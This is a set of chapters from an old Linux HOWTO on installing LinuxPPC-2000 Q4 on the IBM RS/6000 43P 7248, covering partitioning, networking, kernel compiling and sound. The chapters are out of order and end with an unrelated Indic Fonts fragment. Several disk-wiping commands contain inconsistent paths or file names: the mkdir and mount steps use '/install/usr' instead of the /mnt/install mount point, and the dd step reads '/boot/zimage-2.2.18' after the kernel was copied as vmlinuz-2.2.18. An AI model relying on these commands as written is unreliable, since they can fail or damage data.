In this chapter we will get used to the LinuxPPC-2000 Q4 installation environment, partition the harddisk(s) and install the operating system packages.

7.1. The LinuxPPC-2000 Q4 installer

So, now we're actually getting somewhere! At least, so it looks. This looks really cool, doesn't it? Press the right mouse button on the background on the screen. What a cute little menu! Notice that you can change the colors of the screen with the Styles option. This is the first installation program I've ever seen with changeable colors :-) Note that you can move the windows on the screen around by clicking and dragging on the blue top or right borders. To bring a window to the front, try clicking on it. Select xterm on the Blackbox (background) menu. This will bring up a command line terminal window which we will use to start some programs that can do what the installation program can't.

Behold! There are even two (!) installation programs. Unfortunately, they don't work. In the xterm window, kill the installation programs. We have to do some more hand-work.
        killall install_helper

7.2. Partition the harddisk(s)

The first thing to do is to partition the hard disk(s). Since we have brutally killed the installation program, THERE IS REALLY NO WAY TO DO THIS. I have framed you all the time. Just shut down the machine and have a beer. Then visit some friends.

Just kidding.

In the xterm window, issue the command
        fdisk /dev/sda
This will start the good old fdisk program. Note: This program will wipe away anything on the disks in the machine. If there are something on the disks that you want to protect, exit the program by hitting Q and press Enter. If you like a menu driven program, we'll start using cfdisk in a minute. For an overview on the fdisk commands, hit ?. To view the present partition scheme, hit P. If there are lots of unknown AIX information there, hit D, and select 1, D again and 2, and continue all the way up to 5 to be sure all old AIX partitions are wiped away. Write the changes to the disk by hitting W, and quit the program by hitting Q. If there are no AIX partitions on the disks, just quit with the Q command. If you have more than one harddisk in the machine, use the commands fdisk /dev/sdb for the second harddisk, fdisk /dev/sdc for third and so on, and repeat the steps from the first disk.

You could of course use fdisk to make the new partitions too, but I prefer a more user friendly solution. At the shell prompt, type
        cfdisk /dev/sda
To start the cfdisk program on the first harddisk. Change to sdb and sdc, and so on for more harddisks. Basic usage of cfdisk is outside the scope of this document, but I have written a little starter. You can read it in the Section 16.

You should have at least these partitions:

  • A boot partition. It should be the first primary partition on one of the SCSI drives, preferably the first (this naming the partition to sda1). It must have type PReP boot (type 41), and must be large enough to hold a compressed Linux kernel image (zImage). Something like 5-10MB should do.

  • A swap partition. It can be either a primary or a logical partition on any drive. Any size will do, but a guide may be twice the size of you physical RAM. I have 64MB RAM, so I have a swap partition on 128MB. Remember: This is only a guide.

  • A system root partition. It can be either a primary or a logical partition, and it should be big enough to hold the main parts of the installation. You should write down the device (disk and partition number, like sda5, for example) for your system's root partition. You will need it later. The easy way is just to use the rest of the harddisk space for this. If you have several harddisks, big drives or special requirements on safety and other things, you should consider to make own partitions for /home, /usr, /usr/local, and other parts of the system. Details on this is outside the scope of this document, but there is a good discussion on this in the Linux Partition HOWTO.

It is a VERY good tip to find a piece of paper and write down which partitions you have made, what you want to use them to, and where you want to mount them. You will need this information later. When you have finished partitioning your disks.

7.3. Mount the partitions

So, we have some nice partitions. Let's use them. We have to make filesystems on them, and then mount them to our existing installation filesystem to be able to copy any files to them. Now, I HOPE you have written down what partitions to use where. First mount the root partition:
        mkdir /mnt/install
        mke2fs /dev/sdxy
        mount /dev/sdxy /mnt/install
Of course, x and y are disk and partition number, as you have written down. I use sda5 for my root partition, so I use the commands 'mke2fs /dev/sda5' and 'mount /dev/sda5'.

If you have more partitions, mount them in the same way. I have a 1GB partition at sdb1 which I want to use for the /usr system. So I write this:
       mkdir /install/usr
       mke2fs /dev/sdb1
       mount /dev/sdb1 /install/usr
You may have other partitions and also other mount points, like /usr, /tmp, /home, /var and other stuff. But I guess you've got the point now.

7.4. Select and install packages

You have now cleared the first stage, and get 250 bonus points. Congratulations. If the installation program had worked, you had got no points at all, so be happy. The next stage is to install packages. Here we can finally use some semi-automatic programs. In the xterm window, type this:
        xupgrade --install --debug --path_to_root /mnt/install
A new window will pop up. Select packages after your own will. What packages should I select, you say. Oh, please! I have no idea how you're going to use the machine :-). Press Install. Aaah. There it goes! After some minutes (not to say hours, it feels like that, doesn't it?) the install will be complete.

7.5. Make a root password and exit

Before we finalize the installation, it's a cool thing to have a root password. Enter your new installation, and make a funny, not-easy-to-guess password like this:
        chroot /mnt/install
        passwd
        (You will be prompted for the new password twice)
You are still inside the freshly installed system (the chroot command does that magic). Now, let's fix some other stuff while we're at it. The mouse and the keyboard are not right. Same goes for the timezone. If you are an experienced user you may want to add even more configuration at this point.
        rm -f /dev/mouse
        ln -s /dev/psaux /dev/mouse
        kbdconfig
        timeconfig

Next, you may find that the /dev/cdrom link is not working properly, it points to itself. It should point to /dev/scd0, so let's fix this. Issue these commands:
       rm -f /dev/cdrom
       ln -s /dev/scd0 /dev/cdrom
You should now be able to mount the cdrom using /dev/cdrom. Thanks to Thomas M. Nymand for this tip.

Now, you should be all ready. Issue the command
       exit
to exit the installed system and return to the intallation system.

Finally, shutdown the system, remove the CD and floppy disk, and take a break.
        reboot

Prev | Home | Next
Boot the machine and start the installation program |  | Boot the machine


Introducion

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

1. Introducion

This document describes how to install LinuxPPC on the IBM RS/6000 43P 7248 series, that is, the 43P-100, 43P-120 and 43P-133. It describes quite in detail anything to get one of these boxes from a non working stage to a networked X workstation. This relase covers LinuxPPC-2000 Q4. For older versions of LinuxPPC, please have a look at my homepage at http://users.linpro.no/ingvar/43p.

Some years ago I got a couple of old 7248s for free and I did not have any OS to run on them. So I gathered some bits and pieces from the net, and got it to install LinuxPPC-1999. Later, I found that a lot of other people may have the same problems that I had, so I wrote this document to help. It has been availble for some time in HTML form only. Now, it's moved to SGML and a part of the LDP.

1.1. Copyright Information and Legal stuff

This document is copyrighted (c) 2001 Ingvar Hagelund and is distributed under the terms of the Linux Documentation Project (LDP) licence, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

"Linux" is a registrated trademark owned by Linus Torvalds. "IBM" and "RS/6000" are trademarks owned by IBM Corporation. "MS-DOS" is a trademark owned by Microsoft Corporation.

Updated: August 27, 2001.

1.2. Disclaimer and scope

This document is made after own experiences on a 43P 7248-132. The things I did might or might not work for you. You are on your own. I take no responsibility whatsoever for any damage, loss or expenses because of something you might have done because this document said so. If you want to give me feedback on errors, typos, or anything that can make this document better, please feel free to contact me by sending an e-mail to <ingvar@linpro.no>

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, I do not take any responsibility for that.

This document is about installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P, model 7248. The methods described in this document may or may not work on other machines or models. They may or may not work on other Linux distributions. Don't ask me about this, as I have not tested others. Look in the Section 13 for other resources on this. If you find that these instructions work on other models or distributions, please let me know, and I'll add that info here.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

Note that the 7248-132 and 43P-132 is two terms for the same model, and the same goes for 7248-133 and 43P-133. These four terms describes almost the exactly same model, with modifications so small, I have not been able to find them. You can safly assume that they are all the same machine.

If you feel that this document makes your life better, makes you glad and happy, or if you just are in a good mood, and have nothing to do, feel free to donate hardware, money, pizzas, e-mailed thankyous, postcards or anything to me. I can be reached at:

e-mail: <ingvar@linpro.no>
snail-mail: Ingvar Hagelund, Asperudlia 15, NO-1258 OSLO, NORWAY.

1.3. New versions

Version 1.52

  • Added a chapter on Linux-2.4

  • Fixed some wrong links and typos

Version 1.51

  • Download site for LinuxPPC-2000 Q4 cd images

Version 1.50

  • Updated to cover LinuxPPC-2000 Q4

Version 1.41:

  • Made some small changes to the kernel chapter.

Version 1.40:

  • Added a FAQ section.

  • Reformatted howto to SGML.

  • New copyright notices.

  • Ready for bundling with the LPD.

If you are reading an offline version of this document, please note that an up to date HTML version can be found at http://users.linpro.no/ingvar/43p.

1.4. Credits

A lot of people have given me suggestions and help on these pages. I might have forgotten some of them, and if so, I apologize. Please send me a note to me at <ingvar@linpro.no>, and I'll list you here. Thanks to all of you, I could not have done this without you.

Ingvar

Here is list of people that have been helpful, in a completely unordered fashion :-)

Ingvar Hagelund

James Rooker

Mike McCammant

Alberto Varesio

Rolf Brudeseth

Ian Dale

Hollis R Blanchard

Linar Yusupov

Cort Dougan

Roger Bonussen

Rolf Zimmerli

Philippe Senot

John Roebuck

Jacopo Silva

Martin Espenschied

Dan Burcaw

www.linuxppc.com

Tor Arne Rein

Chien-Yu Chen

Wadamori Naoki

Arne Chr. Jørgensen

Doc Shipley

Thomas M. Nymand

Alberto Varesio

Pat Berge

Kazunori Aoshima

David Monro

Matt Porter

Olaf Hering

Xavier Piednoir

Steve Cornett

Greg Ferguson

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following e-mail address : <ingvar@linpro.no>.

1.6. Translations

This document exists in English only. If you want to translate this document into an other language, please do so, just give me a note, and read the copyright notices above.

Prev | Home | Next
Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO |  | Overview


Update the kernel and tune the X Window system

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

10. Update the kernel and tune the X Window system

In this chapter we will download the Linux kernel sources, add a few patches, and compile and install our own custom kernel on the harddisk. When we have successfully accomplished this exciting event, we don't have to boot from the installation boot floppy anymore.

10.1. Why update the kernel

The kernel we have used this far is a 2.2.18 kernel that I have provided. This is a quite stable and good kernel, but it's not sure that it's what you want. You should make your own kernel so you know what patches you need and what modules you can install when you really need them. Here are links to all sources and patches, and a step by step guide to compile your new kernel.

As for the installation we just have done, X does work, but only when you boot from the boot floppy. Would it not have been nice to be able to boot directly off the hard disk - and by the way, what about sound support? Let's set up this together as quickly as possible.

Before starting downloading files and compiling the kernel, check that you have these packages installed:

  • make

  • gcc

  • cpp

  • glibc

  • glibc-devel

  • ncurses-devel

  • kernel-headers

  • This list should probably be longer

10.2. What files to download

We'll use the 2.2.18 kernel sources. The 2.2.19 kernel is availble, but it has some problems with compiling on ppc, so we'll stay with 2.2.18. To add better support for our Carolina motherboard, well add two patches from David Monro's Carolina page. This may sound complicated, but believe me, it's not. Follow the steps below here, and we'll get you up in an hour or so.

We're going to use the standard place for linux kernels, that is /usr/src/ There might be a linux directory there already, so let's rename it:
    mv /usr/src/linux /usr/src/linux.old
When downloading the kernel source and patches, place all files in /usr/src.

Begin with the linux-2.2.18.tar.gz source from the /pub/linux/kernel/v2.2 directory at ftp.kernel.org or a local mirror (recommended for faster download).

Then, get the Carolina patch and the IBM E15 frame buffer patch from David Monro's Carolina page at http://www.amberdata.demon.co.uk/carolina

10.3. Unpacking and patching the source

The next step is to unpack and patch the source files you just downloaded. cd to the directory where you downloaded the files, and unpack the kernel source by issuing this command:
        tar xzvf linux-2.2.18.tar.gz

(On some mirrors there are only bz2 files availble. If this is the issue, use xvIf instead of xvzf.)

This will make a directory called "linux" with all the kernel source. Now we shall add the patches. If the patches have the extentions "gz", unpack them with gunzip like this:
        gunzip carolina.diff.gz
        gunzip ibm_e15fb.diff.gz
Now add the carolina patch by issuing the commands:
        mv linux new
        patch -p0 <carolina.diff
Last, add the IBM E15 patch by issuing the command:
        patch -p0 <ibm_e15fb.diff
For a clean compile later, rename the kernel tree to its original name by issuing this command:
        mv new linux
If you get through these steps succesfully, the kernel source is now ready for configuring.

10.4. Configuring the kernel

The details of configuring the kernel are way outside the scope of this document. To get more help, try The Kernel HOWTO. Here, we'll just cover the basics to get a working kernel. Download my kernel config file into the linux directory in the kernel tree top directory.

In the directory containing the linux kernel tree, start the configuration program by issuing these commands:
        cd linux
        make menuconfig
Select the almost last option Load an Alternate Configuration File. Press backspace to remove the text in the box, type ingvar.config instead, and press enter. This config file has support for most you'll need on this box, including sound and the frame buffer device to run X. This should be enough to get the kernel to compile, but while you're in there, check over the different menus to get to know your possibilities. Don't be afraid to change anything. You can always load the configuration file again. A thing you really should check, and possibly change, is the Initial kernel command string, located in the General setup submenu. Change the value of the root device to the device where your root (/) filesystem is mounted. If unsure, press ALT+F2, log in and try the command mount. Press ALT+F1 to get back again (supposed that you are on virtual terminal 1). Also check your own preferences on filesystems and other stuff you might have special need for or interest in. If you for some reason don't want (or need) to run X, eg. because the console becomes much slower, remove support for the IBM E15 frame buffer in the Console drivers submenu.

In the main menu, save your new configuration for later use, if you like, and select exit. Answer Yes to the question about saving the changes. You are now ready to compile the kernel.

10.5. Compiling and installing the kernel

To compile the kernel is quite straightforward. If you're not in there already, enter the linux directory in the top level of the kernel tree, and issue this command series:
        make dep && make clean && make zImage && make modules && make modules_install
Now, go and make yourself a cup of tea or coffee or have a beer or a bible study for some minutes. This can take some time. If everything is alright, you'll finally have a kernel to install when the text stops scrolling after maybe as much as 20 minutes, depending on your kernel configuration.

Now it's time to install your fresh-baked kernel. On RedHat-like systems like LinuxPPC, we keep kernels and their setupfiles in the /boot directory.
        cp /usr/src/linux/arch/ppc/boot/zImage /boot/vmlinuz-2.2.18
        cp /usr/src/linux/System.map /boot/System.map-2.2.18
Assuming that sda1 is your boot device, install the new kernel by issuing this command:
        dd if=/boot/zimage-2.2.18 of=/dev/sda1
We also want the System map link to point to our new System.map. Issue these commands:
        mv /boot/System.map /boot/System.map.old
        ln -s /boot/System.map-2.2.18 /boot/System.map
There! You are ready to reboot. Light some candles, remove the boot disk, and issue the command:
        reboot
If everything works out, the system will go down nicely, and (assuming you compiled in support for the E15 frame buffer) come up again with Tux, the Linux Penguin Mascot smiling to you while booting.

10.6. Set up X

In this chapter we will set up X, if it does not work properly already.

To set up X, check that you have installed the following packages:

  • XFree86

  • XFree86-FBDev

  • XFree86-100dpi-fonts and/or XFree86-75dpi-fonts

  • Xconfigurator

  • Maybe more packages here...

Then as root, just run the command:
        Xconfigurator
And it will set up X for you. The usage of Xconfigurator is beyond the scope of this document, but it's quite easy. If you need help, try the Xconfigurator section in the Red Hat Installation guide.

Prev | Home | Next
Set up networking |  | Set up sound


Linux-2.4

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

12. Linux-2.4

In this chapter we will see how to install the latest and greatest (and most unstable) kernel. Linux version 2.4 has been around for some months, and there is active development also on the PowerPC branch. To get a working kernel, we'll have to use a development tree with a lot of patches that hasn't got into Linus' official source yet. To state this explicitly: You may NOT use the official Linux 2.4 source tree, at least not without third party patches.

12.1. Get the 2.4 source

First we must get the working 2.4 source. To get this, we'll use the rsync tool, so check that you have it installed. Some nice people have set up an rsync server of the BitKeeper Linux/PPC development tree at source.mvista.com. Thanks so very much to them, remember them in your heart and prayers. Warning: Don't do this over a low-end link, like a modem. It'll take forever. So, let's rock and roll. Issue these commands:

        cd /usr/src
        mv linux linux.old
        mkdir linux-2.4
        ln -s linux-2.4 linux
        cd linux
        rsync -avz --delete source.mvista.com::linuxppc_2_4_devel .
        chown -R root.root .
Note that you'll probably have to wait for some minutes to rsync over all the sources. This is normal.

12.2. Compile the 2.4 kernel

All right, so we have the source. Now, let's do some configuring, and then compile a brand new kernel.

        make ibmchrp_config
        make menuconfig
Note that we don't need to apply any pathces as most of the patches mentioned earlier are merged into this tree. Now configure the kernel as you like. Most of the stuff mentioned earlier should work. The very exception is the frame buffer for the graphics card, so don't expect a graphical workstation with 2.4, at least not yet, unlesss, though, someone gets a vanilla graphics card working with the usual XFree86 drivers. I haven't tested this yet.

All done? Good. Now issue the usual command series to build the kernel:

         make dep && make clean && make zImage && make modules && make modules_install

12.3. Install the 2.4 kernel

To install the 2.4 kernel, we use the same method as with the 2.2 kernel. Note that the zImage has changed name and location in the source tree.

        cp arch/ppc/boot/images/zImage.prep /boot/vmlinuz-2.4.9
        cp System.map /boot/System.map-2.4.9
        dd if=/boot/vmlinuz-2.4.9 of=/dev/sda1
Note that these commands are for a 2.4.9 kernel. If your kernel source is newer, it's good behaviour to use it's correct version and patchlevel in the name of the kernel image. You can find the correct kernel version and patchlevel with the command

        head Makefile
Now again: Reboot and pray. If all goes well, you'll be up running in a few seconds. If it doesn't work, just reboot with the floppy disk as described earlier.

Prev | Home | Next
Set up sound |  | Resources


Appendix: More on partitioning

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

17. Appendix: More on partitioning

After several questions on what partitioning really is, I'll just quote an answer I gave in a mail once.

Okay, here goes:

In an operating system you need several different filesystems for several different applications. For example, you need a swap filesystem because your main memory can't hold all information the operating system needs, so some of it has to be temporary written to disk. You may also need some special filesystem from which the machine reads the operating system when you switch it on. Finally, you need of course one or more filesystems to store the operating system program files and your user files. It may be a good idea to put these in different places (ie. on different filesystems) in case you have to reinstall the operating system, but don't want to scratch all your work.

The best thing is maybe to have all these filesystems on different disks. But one has seldom more than one or two disks in a computer. So what we do is to slice up the disk(s) in several slices (partitions) and use the slices for several filesystems. Then the operating system mounts the filesystems together to one single file tree, so it is easy to access the files.

(Other operating systems, like MS-DOS and NT use some other technology: They do not bind the slices together to one file tree, but keeps them separate as "stations". What is the best scheme? You figure!)

Here a thought example with one 2GB disk on a 7248: The mount point shows where in the file tree a filesystem is mounted.

    Partition   Size   Type             Mountpoint          Bootable
    ----------------------------------------------------------------
    /dev/sda1     10MB  41 (PReP Boot)     (Not mounted)    yes
    /dev/sda2    150MB  82 (Linux Swap)    (Not mounted)     -
    /dev/sda3   1840MB  83 (Linux ext2)  / (Root partition)  -
This would give a bootprompt command like this:
    root=/dev/sda3

If you want, you could add own partitions for important directories like /home, /boot, /var, /usr/local and so on. Here is an other example with two disks, actually my own configuration with two disks:
      Partition   Size   Type             Mountpoint          Bootable
      ----------------------------------------------------------------
      /dev/sda1     20MB  43 (PReP Boot)     (Not mounted)    yes
      /dev/sda2    133MB  82 (Linux Swap)    (Not mounted)     -
      /dev/sda5    930MB  83 (Linux ext2)  / (Root partition)  -
      /dev/sdb1    315MB  83 (Linux ext2)  /home               -
      /dev/sdb2    770MB  83 (Linux ext2)  /usr/local          -
This would give a bootprompt command like this:
      root=/dev/sda5
Before you ask:

  • ext2 is Linux' standard filesystem

  • Linux uses the old partition scheme from MSDOS. This means that if there are more than 3 partitions on one disk, one uses an extended partition (sda3) that may hold several logical partitions (sda5, sda6, sda7, ...)

  • Yes, my partition scheme is a bad one. My root partition was filled up in a couple of weeks or so. Don't use it. It is an example only.

Hope this clears up some things.

Prev | Home | Next
Appendix: Using cfdisk to partition your harddisk |  | Index


Set up networking

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

9. Set up networking

In this chapter we will set up TCP/IP networking on the integrated ethernet adapter

9.1. Support for the integrated ethernet adapter

The 7248-133 is equipped with an internal AMD PCnet 32 PCI ethernet adapter. There is support for this adapter in the Linux kernel source, and if you installed from my bootimage, you should have support for it in your kernel already. Otherwise, you can compile a new kernel. The bootimage described in Section 5 has support for the adapter too.

9.2. Configuration files

The configuration files to set up TCP/IP-networking over ethernet on this box is the same manual configuration as on any other RedHat-like Linux box elsewhere, but here, we do it manually, without any tools other than your favourite text editor. This only covers basic installation, and NO EXTRA SECURITY AT ALL. There are plenty of other, and much better sources about this topic than I can put up here. The files to edit are found in the /etc directory and its subdirectories. To edit the files, you should be logged in as root.

9.3. Set IP address and netmask

To set the IP address and netmask, make a file
        /etc/sysconfig/network-scripts/ifcfg-eth0
That looks like this:
        DEVICE="eth0"
        ONBOOT="yes"
        IPADDR="111.122.133.144"
        NETMASK="255.255.255.0"
Of course, replace the numbers in the IPADDR and NETMASK fields with the ones you should use. If you don't know, ask your system administrator.

9.4. Set hostname and gateway

To set the hostname and gateway, edit the file
        /etc/sysconfig/network
so it looks like this:
        NETWORKING=yes
        FORWARD_IPV4="yes"
        HOSTNAME=myhost.mydomain
        GATEWAY="122.133.144.155"
Of course, replace the values in the HOSTNAME and GATEWAY fields with the ones you should use. If you don't know, ask your system administrator.

9.5. Nameserver specification

To specify a nameserver, edit the file
        /etc/resolv.conf
so it looks like this:
        search mydomain
        nameserver 133.144.155.166
Of course, replace the values in the search and nameserver fields with the ones you should use. If you don't know, ask your system administrator.

9.6. The hosts file

Finally, edit the the file
        /etc/hosts
so it looks like this:
        127.0.0.1       localhost       localhost.localdomain
        111.122.133.144 myhost.mydomain myhost loghost
The last line should suit the values you added previously as the system's IP-address and hostname.

9.7. Restart the network

This should be everything you need to get started. Now restart networking with the command
        /etc/rc.d/init.d/network restart

And you should be all up. Note that there is a bug somewhere that makes the netcard freeze the whole system when shutting down eth0. According to Martin Espenschied, this is a known issue, and can be fixed. When I know how, I'll put the information here. Till then, remember to sync your system before shutting down, and you should not miss any information. Remember my disclaimer in Section 1.2 though.

An ugly hack to resolve this might just be to NOT to shut down eth0 at shutdown/reboot. This can be done by editing the file /etc/rc.d/init.d/network, and in the stop) case, just comment away the ifdown command, and add a phoney command, like this:
        action "Shutting down interface $i" echo does_nothing # ./ifdown $i boot
Note that this is a rather ugly hack, that won't actually solve the problem, it just hides it. The network won't go properly down until you reboot the machine. This is actually the "stupid Windows" way. I really hope that somebody have a better fix on this later. Thanks to Doc Shipley for this tip.

Prev | Home | Next
Boot the machine |  | Update the kernel and tune the X Window system


Overview

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

2. Overview

2.1. The IBM RS6000 43P 7248-133

This chapter contains a short overview over the 7248-133 and Linux for PowerPC. The data for the other 7248 models should not be too different from this.

The IBM RS/6000 43P model 7248-133 is a not extremely new PReP based PowerPC workstation which was produced from 1995 through 1997. The 43P series includes a lot of machines, both CHRP and PReP based. Our model has among other things this to offer:

  • PReP architecture

  • 132MHz PowerPC model 604 processor

  • 512K synchronous L2 cache

  • Max 192MB RAM (EDO)

  • Integrated ncr53c810 SCSI-2 controller

  • Integrated IDE controller

  • Integrated AMD PCnet32 PCI ethernet adapter

  • Integrated IBM E15 2MB graphics adapter based on the S3 Vision864 chip

  • Integrated Crystal Audio cs4232 sound adapter

  • 1.44MB Floppy disk drive

  • IBM 8X SCSI CD-ROM drive

  • Usually equipped with a 1.2MB IBM DPES 31080 SCSI hardisk

You can find more information at IBM's sales manual for this machine, found at this horrible URL

Linux has a native port to the PowerPC processor, and all official code is maintained in the main kernel tree. The main part of the port was done by Gary Thomas. The story of the port can be found here. For more information on running Linux on the PowerPC processor, check out the LinuxPPC homepage http://www.penguinppc.org.

2.2. What's the matter, why not use the original installation procedure?

The LinuxPPC-2000 Q4 distribution is made primary for the PowerMac Apple Macintosh. The installation programs has therefore no direct support for the 7248 nor the PReP architechture in general. But no worries, we'll make a few hacks, some manual configuration, and make it work anyway. Don't despair, this document will lead you through it, step by step.

2.3. An overview on what to do

Here is what we are going to do:

  • Set up the hardware properly ("BIOS settings") with IBM's System Management Services (SMS)

  • Get installation files from CD or FTP

  • Make boot floppies

  • Get the machine to boot and start the installation program

  • Partition the hard drives

  • Install the system

  • Boot the system

  • Set up networking

  • Update the kernel and set up X

  • Set up sound

Prev | Home | Next
Introducion |  | Setting up the hardware with SMS


Resources

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

13. Resources

In this chapter there is a list of resources which include enough reading to make us experts in the field in record-time.

13.1. Other resources on Linux/PPC and 43P boxes

  • penguinppc.org our home for Linux on the PowerPC.

  • Linux/PPC PReP page

  • Linux/PPC CHRP page

  • Kernel patches, utilities and hints for IBM PPC workstations with Carolina motherboard (like the 7248) by David Monro. (Including frame buffer support to actually get X up and working!)

  • PowerPC Linux project pages at sourceforge.net

  • IBM's Linux on PPC project pages

  • Hollis Blanchard's page for installing Linux on the PowerSeries 850. Add this to David's and my pages, and you should be able to get LinuxPPC-2000 Q4 up on the 850 too :-)

  • The Linuxppc-1999 installation instructions for PReP Simple instructions from the ftp site

  • More info about Linux on PReP machines by Kazunori Aoshima

  • A newbie's encounter with LinuxPPC is a document which describes a newbie user's results and experiences on installing linuxppc using own experience and this document. Thanks to Arne C. Jørgensen for this document.

  • A very short view on how to set up LinuxPPC on the 7248 the quick and easy way. Also by Arne C. Jørgensen.

  • The linuxppc mailing lists. Especially interesting is of course the workstation list.

  • Some kernel developpment stuff

  • IBM Sales Manual for the 7248-133 (Detailed description)

  • Description on 7248 microcode from IBM

  • Year 2000 info from IBM

  • Order documentation for the 7248 from IBM

  • Online books for 43P from IBM, not the 7248, unfortunately.

  • PReP specification from IBM

  • Cross Development for Linux/PPC from i386 by Matt Porter

13.2. Installing other flavours of Linux on the 7248

  • Installation instructions for Debian GNU/Linux on PReP machines. (Note: The bootdisk included in the Debian distro does not work on the 7248-133 because of a SCSI driver bug. You might use the bootdisk described in Section 5 instead. It works.)

  • Installation instructions for Yellow Dog Linux on RS/6000: Yellow Dog Linux claims to support some, but not all, 43Ps. The 7248-133 is not on the list, but some ideas from this document, including the bootdisk mentioned in Section 5 does actually work.

  • SuSE's ppc pages. SuSE does include support for PowerPC in their newest version.

  • NetBSD is working on a port to PReP PowerPCs. (Yes, I know. NetBSD is not a Linux flavour, but I thought I might mention it here anyway.) There is a a special page for our PReP architecture where the 7248 is mentioned explicit.

Prev | Home | Next
Linux-2.4 |  | Todo


Set up sound

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

11. Set up sound

In this chapter we will fix some sparkling sound from the built-in sound adapter.

11.1. Support for the integrated sound adapter

The 7248 is equipped with an internal Crystal Audio cs4232 sound adapter. There is support for this adapter in the Linux kernel source, but this is not compiled into the standard installed kernel. So, we have to compile a new kernel. If you are a total beginner on compiling kernels, you should read the excellent kernel howto on how to get started. Download the kernel source from ftp.kernel.org or a mirror. I tested this with kernel 2.2.10 and 2.2.16.

11.2. Configure and compile the kernel

You should configure the kernel as you wish. If you did follow the steps in the last chapter, you have allready done this, and can skip to the next section. If not, follow the steps as described in the last chapter .

When configuring the kernel, check that the settings for sound are correct. They should look like this:

  • Sound: Y

  • OSS sound modules: Y

  • Generic OPL2/OPL3 FM synthesizer support: M

  • Support for Crystal CS4232 based (PnP) cards: M

And check N for everything else in the sound section.

11.3. Configuring the modules

Before rebooting we must send some parameters to configure the modules at boot time. This is done in /etc/conf.modules . Edit this file, and add the following lines:
        alias sound cs4232
        pre-install sound /sbin/insmod sound dmabuf=1
        alias midi opl3
        options opl3 io=0x388
        options cs4232 io=0x534 irq=5 dma=1 dma2=0 mpuio=0x330 mpuirq=5

11.4. Reboot and pray

Now, just reboot and pray. If nothing works, you have done something unwise when configuring the kernel. Boot from a floppy and try again. If everything works, you should for example be able to play an mp3 file using the mpg123 player from the console. (And yes, of course you might have to install the mpg123 package first.)

Note: I have not been able to get midi (the opl3 module) working. If anybody has any tips on this, please let me know.

Prev | Home | Next
Update the kernel and tune the X Window system |  | Linux-2.4


Setting up the hardware with SMS

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

3. Setting up the hardware with SMS

This chapter describes how to configure the system's Firmware to use the hardware properly. To do this we are going to use a software tool from IBM called System Management Services, SMS.

3.1. Where is the BIOS?

Lots of Linux users are familiar with the x86 platform, and immidiatly ask "What key may I press to access the BIOS". Well, on the 7248-133 it's not that easy, but it's not very difficult either. This is a real UNIX machine, and real UNIX machines don't have a BIOS. They have some sort of Firmware instead. There is not much to yell about, 'cause to the users, it's almost the same thing. Firmware often seem to have lots of bugs in them, just like the BIOSes in the PC world. They often are more selective on what kind of hardware they support too. For hardware system management on our 7248, IBM has a software program to be booted from floppy disk, called "SMS" - "System Management Services". With this you can access the Firmware. You can get floppy images and MS-DOS programs for creating those here. You might also want to upgrade your Firmware. Check the README files on the link about this.

3.2. How to use the SMS

To boot the SMS, turn off the machine, insert the SMS floppy, push the power button and press the F4 key while the system check icons pop up in the bottom of the screen. (If you prefer a text based interface, try F2 instead.) Basic usage is outside the scope of this document, but it's not very difficult.

3.3. What settings to use

You should have a little look over your system to see whats actually there. Then you should check the boot sequence, as it's quite important to make your system boot right. The sequence should be: (You guessed it) Floppy disk -> CD-player -> first SCSI harddisk -> second SCSI harddisk -> etc.

3.4. More info about the hardware

You might find good references in IBM's salesmanual for our model.

There are also some reference manuals in pdf format for free download from the IBM RS/6000 pages that might come handy.

Prev | Home | Next
Overview |  | Get the installation files


Todo

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

14. Todo

There are some things that might be added to this document. If you have comments, things to add or want to help, please send an e-mail to <ingvar@linpro.no>

  • Get rid of that annoying freeze at eth0 shutdown. This should be a part of the networking chapter. If you know something about this, please let me know.

  • Dual Boot with AIX. We need some kind of a bootloader. Does such a thing exist? We know quik does not work on the PReP boxes.

  • Get midi to work. Is this possible?

Prev | Home | Next
Resources |  | Frequently Asked Questions


Applications with Devanagri

The Indic Fonts HOWTO
Prev Next

5. Applications with Devanagri

5.1. Browsers

5.1.1. Netscape Navigator

Netscape 6.01 or later can display HTML documents in UTF-8 encoding. All a document needs is the following line between the <head> and </head> tags:
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

To setup Netscape so that it displays Hindi characters:

  1. Goto, Edit -> Preferences
  2. Select category, Appearance -> Fonts
  3. Select Language encoding "Unicode"
